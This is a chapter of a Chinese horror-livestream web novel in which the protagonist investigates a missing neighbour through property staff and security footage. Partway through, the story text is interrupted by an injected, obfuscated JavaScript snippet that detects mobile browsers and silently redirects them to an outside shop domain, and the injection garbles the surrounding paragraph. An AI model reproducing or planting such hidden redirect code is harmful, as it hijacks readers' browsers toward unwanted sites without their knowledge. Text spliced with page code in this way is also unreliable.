养花养草喂宠物,清洁卫生大扫除。
事情繁多,要求琐碎,但没有任何的刻意刁难,以及不同寻常与常识相悖之处。
谢星辞借着完成任务的机会,将整个家仔细观察。
可惜,家里没有明显的线索。
垃圾桶都是干净的,地面一尘不染,厨房灶台连一点油烟的痕迹都没有,冰箱内空无一物,没有人气。
琴房倒是有不少书籍和乐谱,他拿着鸡毛掸子清理不存在的灰尘时都一一看过,崭新的,没有使用或阅读的痕迹。
家里这种处处过于干净的状态,不正常,倒是一条关键线索。
家中谢星辞唯二没观察的地方是两间卧室。
妈妈的房间不能进,他会找合适的时机再尝试。
另一间则是自己的。
等完成清单上大部分的工作后,谢星辞才拿着背包推开自己卧室的门。
他开门的动作很慢很小心,阴湿呛鼻的气味穿过黑暗的门缝扑面而来。
等门逐渐打开,阳光占领房间,异味消失了。
一个凌乱无序、乱七八糟典型青春期男生的卧室就展现在面前。
正对房门的是一个实木书架,书架上堆满了童书,从启蒙阶段阅读的立体书到青少年文学,还有不少大部头百科丛书。
这些书,几乎没有翻阅的痕迹,但有历尽岁月的自然黄斑与霉点。相当一部分连薄膜都没有拆开。妈妈的儿子,并不喜欢阅读。
桌面码放一堆教材与试卷,混合在一起堆放,乱糟糟的。
教材都卷边了,卷子也皱皱巴巴,字不好看,甚至算得上丑,但成绩不错。
书桌的抽屉里乱七八糟一堆杂物,杂物之下,放着一个透明的保鲜盒,盒子里整齐的装着数百张五颜六色的便利贴。
字迹龙飞凤舞,极有风骨的草书,这是妈妈的字迹,与门口春联一致。
全是嘱咐儿子练琴、看书、吃饭……一些日常的琐事。
床靠墙的一角堆着乐谱,用空调被盖着。这次倒是堆得整齐,还按照古典、通俗、民族分好类,很多还是自己下载打印。每一本乐谱里都有详细认真的笔记,不仅有音乐专业的分析,还记录自己的感想。
乐谱下方藏着几个笔记本,全是原创曲目,创作技法生涩,甚至毫无技法可言。很难听的作品,但谢星辞看了,会心一笑。
吉他箱就挂在墙上,随手就能拿到。
谢星辞打开箱子,为吉他简单做了护理,又挂了回去。
床上一片凌乱,一年四季的衣物床上的都有,床的另外一角放着一个透明的置物箱,箱子里乱七八糟塞了一堆内衣、T恤。
不是什么大品牌,路边常见的便宜款式,但常穿。
谢星辞打开衣柜,与床上一片混乱相比,这里干净整洁。挂衣区一排外套,不知是熨烫过还是根本就没穿,衣服没有任何一丝褶皱。
叠放区的层板上,T 恤、毛衣、长裤码得整整齐齐,衣柜几乎塞满了,全是大牌,价格不菲。
他在挂衣区的底层看见三个大小不一的卡通龙玩偶,一条厚的被子盖住了它们的眼睛。
谢星辞揭开被子,三双绿幽幽的眼睛直直盯着他,看得人心里发毛。
谢星辞将被子盖了回去。
叛逆的,有着自己小心思,不服妈妈掌控,却又爱着妈妈的儿子。
自己珍爱之物没地方放,却要保留母亲过度的爱意。
这别扭的母子情呀……
谢星辞心中酸涩。
然后,他长叹一口气。
将床上散乱的被子、衣物稍微整理,更换床单……
又从床单下翻出几只硬邦邦的袜子。
跟床单一起,团吧团吧塞洗烘一体机里。
个人卫生不必过度,但也不能不讲究。
“长大了,不用妈妈唠叨会自己洗衣服了。”
消失的妈妈突然出现在谢星辞身后。
她的手轻柔地触摸谢星辞的头,寒气从头皮蔓延迅速扩散至全身。
谢星辞不但没有躲闪,反而顺势蹭了蹭妈妈的手心,表情享受。
“妈,我住六人间。”谢星辞没多解释,“再邋遢,也有个度。”
男生宿舍的刻板印象发挥了作用。
妈妈挑眉,嘴角欣慰的笑着,用力揉了揉谢星辞的头,“知道做清洁就好。”
母子之间相处自然而亲昵。
【母慈子孝……】
【别呀!这是诡异。谢星辞你别陷进去了!】
【这是演戏吧?这一定是演戏。谢星辞你清醒一点!】
【我不认为演戏,他演技真有这么好?你们没看过他的戏吧,要有这种自然的演技,哪里还会扑成狗。】
谢星辞很自然地开口:“妈,我待会去超市买东西,给我点钱。”
就妈妈列的购物清单,她不给钱难道要去抢吗?
“一会儿转你微信。”妈妈没拒绝。
谢星辞继续问,“你吃药了吗?家里还有药吗?需要什么我顺路买点。”
“不用,药吃过了。早点去,早点回来。”妈妈说完,就没了交流欲望,转身走回卧室。
“对了,妈妈。今天有家新店开业,我有张优惠卷,等你病好了我们一起去吃吧。”
妈妈婉拒了,“不用,我不吃辣。你自己去吧。”
谢星辞没看到卧室的门打开。
但妈妈的身影却消失了。
谢星辞嘴角微弯,他可没说新开的是什么店。
“叮!”短促的提醒音响起。
谢星辞的手机里转入2000元。
同时,他的终端默默显示2000惊悚币入账。
【原来还能找npc拿钱?】
【那干脆打劫富豪npc吧,就不愁生存了。】
【打劫npc?这跟送死有什么区别。】
【npc愿意给和抢还是有区别的吧?】
一个新的赚钱手段出现,直播间再次热议。
*
谢星辞出门时,路过33-8特意敲了门。
家里没什么线索,线索就在外面。
他敲了很久,但无人应答。
打开防火门,保持这扇门常开。他又分别去电井、水井看自家和隔壁电表、水表的状况,例行检查,还真看出点问题。顺便看了本楼层其他住户的情况。
太怪了,没有一个表在动。
谢星辞有了一个初步的猜想,但需要更多观察,更多的证据,排除巧合成分。
可惜,楼层有监控,水井电井里可能有东西,他没有足够的理由,不好一一察看。但分时段观察也够了。
谢星辞进入楼梯间。电梯坏了,一时半会儿修不好,上楼下楼都得自己爬。
从33楼下来,一路上遇见不少爬楼的高层住户,都在骂物业没用,有些人气到身体都变形扭曲了。
谢星辞想笑,但忍住了。
亲脚造成今天所有住户必须爬楼的局面,他没有丝毫的后悔和心虚。
这电梯本来就坏了,他那一脚,保障了大多数人的安全了。
走出2栋大门时,谢星辞跟志愿者大爷打了声招呼。
然后走向与超市不同的方向,直奔物业中心。
偌大的物业管理中心,如今只有一个人值班。
四十来岁有点胖的中年妇女坐在工位后面,手拿听筒,脸上堆着讨好的笑,非常客气地回话。
谢星辞能听到电话另一头的咆哮,全是投诉电梯问题的。
“你好,我反映个事儿。” 谢星辞说。
物业管理员按住话筒,问:“几栋?”
“2 栋。”
管理员随手甩给他一张登记表,嘴里做了个 “填表” 的口型。
“等你忙完再说。” 谢星辞没着急写。
他让管理员专心接电话,自己随意地翻起登记表。
手里这本登记表是一个月内的 2 栋业主故障登记。
低楼层都在反映反水情况,地漏、马桶、水槽往外冒泡沫或脏水。
高楼层排水变慢,管道堵塞。
各楼层都有反映地漏、水槽有难以形容的恶臭。
而公共区域,尤其是管道井渗水、返潮情况也很多。
垃圾处理不及时的投诉也逐渐增多。
很明显,排污主管堵了。
物业这边的应对就是叫疏通队来做管道检查,但到目前这个问题没有解决。
“啪嗒!”物业管理员挂了电话。她表情不耐烦,整张脸都黑透了,但依旧维持公式化的微笑,“小伙子,翻啥呢?有事儿登记,我今天很忙的。”
谢星辞放下登记表,“我隔壁 33-8,墙都裂大缝了,门也被砸烂了,你们管不管?”
“33-8?” 管理员敲了几下键盘,“没有报修记录啊。那不是他家的房子嘛,他自己都不来报修,我们哪能上门硬管?再说,人家自己都不当回事,你一个邻居,管这闲事干啥。”
“那不行!”谢星辞二郎腿一翘,表情严肃:“他那墙裂那么大一条缝,楼体安全问题,该评估得评估,该修得修吧?”
“你别担心,那不是承重墙,不会影响安全的。” 管理员忙解释,态度好了不少。
谢星辞继续:“他墙裂那么大一条缝,他家里什么情况都能看见,手也能轻松伸进去。回头进个贼,东西丢了,我家很难说清楚。”
管理员满脸堆笑,比哭还难看:“我们每层楼有监控,真出事保证怪不到你们头上。”
“你那监控灵不灵还两说了。”谢星辞继续抱怨,语气严厉:“再说了,最大的风险,是有人从33-8的阳台翻到我们家,偷东西是小,生命安全得不到保障才是最大的问题!
“好好好!”管理员无奈投降,“你登记吧。我打电话。”
谢星辞填表,管理员那头拨电话,开了公放。
对方关机。
管理员又重复拨打两次,依旧是关机提示。
“你看嘛,” 管理员摊手,“不是我不管,是真联系不上。哎哟,我们之前也联系过,物业费都欠两个月了,人影都见不着。”
“你们就没上过门?” 谢星辞问。
“上门?” 管理员耸耸肩,“去了,一样不见人。”
“你们就不怕这家人出什么事吗?”谢星辞追问。
管理员耸耸肩:“那就是保安的事,不归我们物业管了。”
*
物业中心在北门,安保中心在南门,距离有十五分钟的路程,要穿过整个商业街。
谢星辞在便利店买了包烟。
理论上不应向未成年卖烟,但谢星辞磨了一会儿,说了几句话好话,商家就睁一只眼闭一只眼了。
到了安保中心,里面只有两个保安。
年轻的三十来岁,在刷手机,年长的五十多,在打瞌睡。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980270|214811||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
听说他要反映情况,年轻保安头也不抬:“找自己居民楼的值班室问值班保安呀,我们这儿不管。”
“哥,我跑一趟不容易。” 谢星辞把烟递过去,火机 “咔嗒” 一声点上,“我刚从物业那边过来,人家说这事儿归你们安保管,我这才一路跑来南门。”
“物业又在推卸责任。”年轻保安骂了两声,抽上烟,他态度缓和了些:“你问吧,知道的我能管的,哥一定帮忙”
“我是2栋33-7的,隔壁33-8门被砸了墙也裂了,我去物业反映情况,他们说已经联系过业主,但对方一直关机,上门也找不到人。哥,你看这情况……”
年轻保安有些犹豫:
“小兄弟,33-8的事我们确实知道,倒是闹得还挺大。那业主是个酒蒙子,喝醉了自己砸的门和墙……”
他话说到一半,回头看年长保安。
谢星辞敏锐发现问题,立刻追问:“哥,难道这事儿跟我家还有关?”
年轻保安看了年长保安一眼,对方笑呵呵的补充:“确实有点关系,主要你是个未成年……”
有些事不方便。
谢星辞凑了过去,给年长保安也点烟。
“叔。我家就我妈和我两个人,我不常在家。追究33-8的事也是担心她的安危。求你告诉我吧,到底发生什么事。”谢星辞表情严肃,“家里只有我一个男人,出什么事,我都顶得住。”
“好孩子!有担当!”年长保安拍了谢星辞肩膀:“那我也不顾虑什么,给你看看监控,但你要保持冷静。”
*
年长保安调取监控。
8 月 12 日凌晨 2 点,33 楼西侧走廊。
黑白画面,足够清晰。
一个男人踉跄着走到 33-8 门口,掏钥匙,开门,打不开。
他开始砸门,又踢又踹,嘴里骂骂咧咧。
砸不开门,他转身从消防栓里拎出灭火器,抡起来就往门上砸。门上的凹陷,门框边裂开的墙缝,就是这么来的。
男人持续发疯半个多小时,2:35一个女人出现在走廊尽头。
礼服长裙,高跟鞋,波浪长发有些凌乱。
是谢星辞的妈妈。
她在附近酒吧驻唱,这个点正好下班。她脚步不太稳,状态明显不好。
谢星辞的呼吸顿了一下,咬紧下唇,双拳紧握,左脚不断地发抖。
“兄弟,放松。”年轻保安按住他的肩膀。
监控里,女人贴着墙边,想绕过去。
男人看见她,停了手,直直朝她走过去,伸手拦她。
醉酒的眼里,是不加掩饰的轻佻。
女人往后退,闪躲。男人没有罢手的意思。
手碰到她的肩膀,脸凑了上去。
她反手,一个耳光。
又快,又准。男人被扇得偏过头去。
他捂着脸,暴怒,还没来得及发作,女人脱下高跟鞋,抡圆了砸在他额头上。
男人直挺挺倒了下去。
女人迅速回家。
男人爬起来,对着她的背影破口大骂,骂得极脏,然后开始砸 33-7 的门。
他砸门砸了二十分钟。
3:55,警察上门。
谢星辞低着头,肩膀微微起伏,拳头攥得指节发白。
良久,他抬头,眼眶红了一圈,声音颤抖:“那人…… 后来呢?”
“拘留了几天,最后赔了你妈妈一笔钱,私了了。” 年长保安说道。
年轻保安的表情有些不自然。
谢星辞低下头,不停地喘着粗气。
两位保安大哥不停地安慰。
最后谢星辞挠挠头,问:“能看看接下来几天的录像吗?我想确认这家伙没有威胁了。”
两位保安有些犹豫,但看着谢星辞泪流满面的脸,同意了。
监控画面开始快进。
三天,没有见到男人的身影。
第四天,他出现了,登门道歉。然后,防火门关上了。
第五天、第六天,还能看到男人和母亲进出的画面。
第七天,就只有母亲上下班的影像了。
“叔、哥,” 谢星辞问,“这人…… 好像没出来呀?”
画面持续快进,防火门一直紧闭。
直到快进到今天,也没有看见男人的身影。
两位保安面面相觑,震惊。
“嗷!” 谢星辞一声大叫,满脸慌张,“我可能看错了吧。查监控好累呀,叔叔大哥你们工作真辛苦。我就不打扰你们了,我还要买东西。再见。”
谢星辞仓皇地逃出安保中心。
两位保安没有追。但他们已经在呼叫 2 栋值班保安。
【那男人肯定寄了,妈妈有重大嫌疑。】
【怎么不借机让保安直接开门进 33-8】
【不是,谢星辞跑什么?他不会带入了吧?】
【连线吧,我看他头脑要不清醒了。】
谢星辞头脑很清醒。
跑,是演给保安看的。
一个想保护妈妈的孩子,却在监控里发现妈妈可能是嫌疑人,就该仓皇地跑掉。
33-8 这条线不着急,保安这边无论怎么做,后续发展回家就能看到。
现在的任务,是去东大门的超市购物。
妈妈的要求,她的购物清单才是最重要的。